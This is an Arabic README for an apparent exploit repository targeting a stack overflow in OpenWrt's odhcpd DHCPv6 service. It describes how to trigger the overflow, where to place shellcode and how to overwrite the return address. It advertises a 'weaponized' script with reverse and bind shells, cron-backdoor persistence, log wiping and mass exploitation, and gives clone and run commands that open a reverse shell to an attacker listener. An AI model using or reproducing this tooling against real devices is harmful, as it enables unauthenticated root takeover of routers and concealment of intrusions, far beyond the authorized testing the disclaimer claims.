CVE-2026-53921 – تجاوز سعة المخزن المؤقت في odhcpd

• لأغراض التعليم والاختبار المصرح به فقط. الاستخدام غير المصرح به غير قانوني.**

---

نظرة عامة على الثغرة

CVE-2026-53921 هي ثغرة تجاوز سعة المخزن المؤقت على المكدس (stack buffer overflow) حرجة في خدمة odhcpd الخاصة بـ OpenWrt – خادم DHCPv6/DHCPv4/RA الافتراضي.

كيف تعمل

توجد الثغرة في كود معالجة رسائل DHCPv6 في odhcpd، وتحديدًا في الدالتين build_ia() و dhcpv6_ia_handle_IAs().

تحليل تقني معمّق

1. السبب الجذري

يحدث الخطأ أثناء التسلسل (التجميع) لحزم رد DHCPv6. عندما يستجيب odhcpd لطلبات العميل، فإنه يبني الرد في مخزن مؤقت ثابت الحجم على المكدس بحجم 512 بايت دون فحص صحيح للحدود.

// Simplified representation of the vulnerable code

static void build_ia(struct dhcpv6_ia *ia, uint8_t *buf, size_t *len) {
    // No bounds check before writing
    memcpy(buf + *len, ia->data, ia->length);
    *len += ia->length;
}

2. إطلاق التجاوز

يرسل المهاجم طلب DHCPv6 (أو Solicit) يحتوي على:

• 5 خيارات IA_NA أو أكثر (Identity Association for Non-temporary Address) ، كل منها يحتوي على خيار فرعي IAAddress.
• 22 خيار IA_PD أو أكثر (Identity Association for Prefix Delegation).

يستهلك كل خيار مساحة على المكدس أثناء بناء odhcpd لردّه. تتجاوز البيانات المتراكمة 512 بايت، مما يسبب التجاوز.

3. متجهان للتجاوز

---

المتجه المحفّز نقطة التجاوز

---

الموقع 1 5 خيارات IA_NA build_ia() لـ IA_NA مع عناوين IPv6

الموقع 2 22 خيار IA_PD build_ia() لـ IA_PD

السبب الجذري متطابق، لكن التجاوز يحدث في مسارات كود مختلفة، مما يجعل كلا المتجهين قابلين للاستغلال بالقدر نفسه.

4. تخطيط الذاكرة

Stack Layout (simplified):

+-------------------+  <-- High addresses
|    Return Address |  ← Overwritten with attacker-controlled value
+-------------------+
|  Saved Frame Ptr  |
+-------------------+
|  Local Variables  |  ← 512-byte buffer
+-------------------+  <-- Low addresses

يقوم المهاجم بالكتابة فوق عنوان العودة المحفوظ ليشير إلى شيفرته البرمجية (shellcode) في الذاكرة.

5. متطلبات الاستغلال

---

المتطلب الوصف

---

الوصول إلى الشبكة يجب أن يمتلك المهاجم اتصال IPv6 بالهدف

المصادقة لا شيء -- هجوم بدون مصادقة

الصلاحيات يعمل odhcpd بصلاحيات root، لذا يمنح RCE سيطرة كاملة على النظام

الخدمة المستهدفة يجب أن يكون منفذ UDP 547 (DHCPv6) مفتوحًا

6. وضع الشيفرة البرمجية (Shellcode)

في استغلال حقيقي، تُوضع شيفرة المهاجم البرمجية في حقول عناوين IPv6 الخاصة بـ IAAddress (16 بايت لكل IA_NA). تقوم الحزم المصممة بتجميع الشيفرة البرمجية، ومسار NOP، وعنوان العودة في هذه الحقول.

Crafted IA_NA Structure:

+-------------------+
| IA_NA Header      | (12 bytes)
+-------------------+
| IAAddress 1       | ← NOP sled + shellcode
+-------------------+
| IAAddress 2       | ← NOP sled + shellcode
+-------------------+
| IAAddress 3       | ← NOP sled + shellcode
+-------------------+
| IAAddress 4       | ← Return address
+-------------------+
| IAAddress 5       | ← Return address
+-------------------+

7. سلسلة التأثير

Crafted DHCPv6 Request
         ↓
odhcpd processes IA_NA/IA_PD options
         ↓
512-byte stack buffer overflows
         ↓
Return address overwritten
         ↓
CPU jumps to shellcode
         ↓
Reverse shell / Bind shell / RCE
         ↓
Full system compromise (root privileges)

8. متجهات الهجوم مقابل حالة التخفيف

الإصدار الحالة RCE ممكن؟

---

odhcpd < e432dd6 معرّض [+] نعم OpenWrt < 24.10.8 معرّض [+] نعم OpenWrt < 25.12.5 معرّض [+] نعم OpenWrt 24.10.8+ مُصحّح [-] لا OpenWrt 25.12.5+ مُصحّح [-] لا odhcpd master + e432dd6 مُصحّح [-] لا

9. الاستغلال في العالم الحقيقي

هذه الثغرة خطيرة بشكل خاص لأن:

• odhcpd مُفعّل افتراضيًا في تثبيتات OpenWrt.
• لا تُطلب أي مصادقة---يمكن لأي جهاز على نفس مقطع IPv6 أن يهاجم.
• الخطأ موجود في مسار معالجة الطلبات.
• نادرًا ما تتوفر حمايات stack canaries و ASLR على أجهزة MIPS/ARM المدمجة.
• يمكن للاستغلال تجاوز الدفاعات الشائعة في العديد من البيئات المدمجة.

الإصدارات المتأثرة

المكوّن	الإصدارات المعرّضة	تم الإصلاح في
odhcpd (فرع master)	قبل الالتزام e432dd6	e432dd6 أو أحدث
إصدارات OpenWrt	< 24.10.8 < 25.12.5	24.10.8 و 25.12.5

---

الأدوات

يوفر هذا المستودع سكربتين مستقلين:

السكربت	الغرض	كود الاستغلال	الأمان
verifier.py	فحص غير تدخّلي للثغرة	[-] لا	[+] آمن
exploit.py	استغلال كامل مُسلّح	[+] نعم	[!] خطير

verifier.py – فاحص الثغرة

• يرسل طلب DHCPv6 Solicit قياسي للتحقق من أن الخدمة نشطة.
• يقرأ لافتات HTTP/SSH للكشف عن إصدار OpenWrt.
• يقارن الإصدار بالنطاق المعرّض المعروف.
• لا يرسل أي حمولة تجاوز أو شيفرة برمجية.

exploit.py – الاستغلال الكامل

• متجها تجاوز مزدوجان: IA_NA (الموقع1) و IA_PD (الموقع2).
• كشف تلقائي للمعمارية (MIPS / ARM).
• شيفرة reverse & bind shell لـ MIPS big‑endian.
• دعم وكيل SOCKS5.
• الاستمرارية (باب خلفي عبر cron) و محو السجلات.
• فحص متعدد الخيوط واستغلال جماعي.
• ترميز اختياري للحمولة (XOR).

---

التثبيت

git clone https://github.com/tc4dy/CVE-2026-53921-PoC-Exploit
cd CVE-2026-53921-PoC-Exploit
pip install -r requirements.txt
#Note: Both scripts need root privileges to craft raw IPv6 packets.

الاستخدام

Verifier – التحقق مما إذا كان الهدف معرّضًا

sudo python3 verifier.py -u fe80::1%eth0 -i eth0

Exploit – الحصول على reverse shell (لا تستخدمه لأنشطة غير قانونية، للاختبار المصرح به فقط)

sudo python3 exploit.py -u fe80::1%eth0 -i eth0 --lhost 192.168.1.100 --lport 4444

خيارات سطر الأوامر

verifier.py

الوسيط	الوصف
-u, --target	عنوان IPv6 الهدف (مطلوب)
-i, --iface	واجهة الشبكة (الافتراضي: eth0)

exploit.py